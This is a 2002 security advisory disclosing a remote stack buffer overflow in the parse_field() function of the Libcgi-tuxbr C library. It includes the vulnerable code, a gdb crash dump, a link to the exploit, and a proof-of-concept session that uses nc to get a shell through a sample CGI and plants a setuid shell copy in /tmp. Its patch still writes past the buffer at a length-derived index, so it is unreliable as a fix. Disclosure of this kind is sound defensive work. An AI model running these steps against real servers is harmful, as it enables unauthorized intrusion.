
INetCop Security Advisory #2002 - 0x82 - 008

*** Title: Remote Multiple Buffer Overflow(s) vulnerability
in Libcgi-tuxbr.**

0x01. Description

LIBCGI is a simple of functions to create CGI programs in C. It provides support for both GET and POST request methods, parsing data, an URLDecode function, access to MySQL functions, and excellent documentation.

Vulnerability happens because of 'parse_field()' function.

It's in 129 lines of 'cgi_lib.c' code.

Let's examine. :-)

```
—
129 void parse_field(char *field, char *rtnfield)
    ...
132     char *ptr,
133         *endptr,
134         tmp_field[128];
    ...
137     sprintf(tmp_field,"%s=",field); // "field1="
138
139     if((ptr=strstr(req_http,tmp_field))!=NULL)
140     {
141         ptr+=strlen(tmp_field); // "[value] &field2=[value2] &field3=[value3]"
142
143         if((endptr=strchr(ptr,'&'))!=NULL) // "&field2=[value2] &field3=[value3]"
```

```
144         {
145             memmove(rtnfield, ptr, (endptr - ptr) + 1); // here.
146             rtnfield[(endptr - ptr)] = '\0';
147         }
...
--
```

Attacker can change flowing of program easily in remote.

0x02. Vulnerable Packages

Vendor site: <http://www.tuxbr.com.br/>

libcgi - 1.0.3

- libcgi - 1.0.3.tar.gz

+ Linux

libcgi - 1.0.2

- libcgi - 1.0.2.tar.gz

0x03. Exploit

There is very good CGI example program.

The CGI program uses `parse_field()`.

Example CGI Program: `/cgi-bin/sample3.cgi`

let's examine source code.

```
—
6 char name[64], // 64
7   address[64],
8   tel[64];
   ...
12     parse_field("name",name); // exploitable !
13     parse_field("address",address);
14     parse_field("telephone",tel);
--
```

I'm going to do test simply.

See well.

FIM SAMPLE

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in registros () from /usr/lib/libcgituxbr.so.1

(gdb) bt

#0 0x41414141 in registros () from /usr/lib/libcgituxbr.so.1

#1 0x00000000 in ?? ()

(gdb) i r

eax	0x0	0
ecx	0x40013000	1073819648
edx	0x43218320	1126269728
ebx	0x78787878	2021161080
esp	0xbffffa90	0xbffffa90
ebp	0x78787878	0x78787878
esi	0x78787878	2021161080
edi	0x78787878	2021161080
eip	0x41414141	0x41414141
eflags	0x10282	66178
cs	0x23	35
ss	0x2b	43
ds	0x2b	43
es	0x2b	43
fs	0x0	0
gs	0x0	0
fctrl	0x37f	895
fstat	0x0	0
ftag	0xffff	65535
fiseg	0x0	0
fioff	0x0	0
foseg	0x0	0
fooff	0x0	0

---Type <return> to continue, or q <return> to quit---q

Quit
(gdb)

It's very basic stack based overflow.
Can do exploit in remote.

Exploit URL: <http://x82.inetcop.org/h0me/c0de/0x82-Remote.tuxbrLibcgi.s>

#) Proof of concept

```
sh-2.05b$ id
uid=501(x82) gid=501(x82) groups=501(x82),10(wheel)
sh-2.05b$ cat > /tmp/x82
#!/bin/sh
cp /bin/sh /tmp/nobody-sh
chmod 4755 /tmp/nobody-sh
^C
sh-2.05b$ chmod 755 /tmp/x82
sh-2.05b$ gcc -o 0x82-Remote.tuxbrLibcgi 0x82-Remote.tuxbrLibcgi.s
sh-2.05b$ (./0x82-Remote.tuxbrLibcgi;cat)|nc localhost 80
HTTP/1.1 500 Internal Server Error
Date: Thu, 21 Nov 2002 03:01:46 GMT
Server: Apache/1.3.20 (Unix)
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
...
<TITLE>500 Internal Server Error</TITLE>
</HEAD><BODY>
<H1>Internal Server Error</H1>
...
<HR>
<ADDRESS>Apache/1.3.20 Server at localhost.localdomain Port 80</ADDRESS>
</BODY></HTML>
```

```
sh-2.05b$
sh-2.05b$ /tmp/nobody -sh -p
nobody -sh-2.05b$ whoami
nobody
nobody -sh-2.05b$
```

0x04. Patch

```
=== libcgi.patch ===
```

```
--- cgi_lib.c    Sat Dec 29 07:10:47 2001
+++ cgi_lib.patch.c  Thu Nov 21 23:47:13 2002
@@ -126,7 +126,7 @@
```

```
//Faz o parse buscando pelo campo na string de request HTTP
```

```
-void parse_field(char *field, char *rtnfield)
```

```
+void parse_field(char *field, char *rtnfield, int size)
```

```
{
```

```
    char *ptr,
```

```
@@ -142,12 +142,12 @@
```

```
        if((endptr=strchr(ptr, '&'))!=NULL)
```

```
        {
```

```
-            memmove(rtnfield, ptr, (endptr - ptr)+1);
```

```
+            memmove(rtnfield, ptr, size-1); //(endptr - ptr)+1);
```

```
                rtnfield[(endptr - ptr)]=' \ 0';
```

```
        }
```

```
    else
```

```
    {
```

```
-            memmove(rtnfield, ptr, (strlen(ptr))+1);
```

```
+            memmove(rtnfield, ptr, size-1); //(strlen(ptr))+1);
```

```
                rtnfield[(strlen(ptr))+1]=' \ 0';
```

```
    }
```

```
--- cgi_lib.h    Sun Jan 20 06:58:34 2002
+++ cgi_lib.patch.h    Thu Nov 21 23:47:05 2002
@@ -37,7 +37,7 @@
    /*****/

void SwapChar(char *pOriginal, char cBad, char cGood);
-void parse_field(char *field, char *rtnfield);
+void parse_field(char *field, char *rtnfield, int size);
void get_request(unsigned int method, char *request);
void URLDecode(unsigned char *pEncoded);
void vExiterr();
--- samples/sample3.c Thu Dec 27 05:52:12 2001
+++ samples/sample3.patch.c Thu Nov 21 23:51:14 2002
@@ -9,9 +9,9 @@
```

```
    get_request(1,req_http);
```

```
-    parse_field("name",name);
-    parse_field("address",address);
-    parse_field("telephone",tel);
+    parse_field("name",name,(int)sizeof(name));
+    parse_field("address",address,(int)sizeof(address));
+    parse_field("telephone",tel,(int)sizeof(tel));
```

```
    URLDecode(name);
    URLDecode(address);
```

```
=== eof ===
```

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/>

GPG public key: [http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y](http://wizard.underattack.co.kr/~x82/home/pr0file/x82.k3y)

--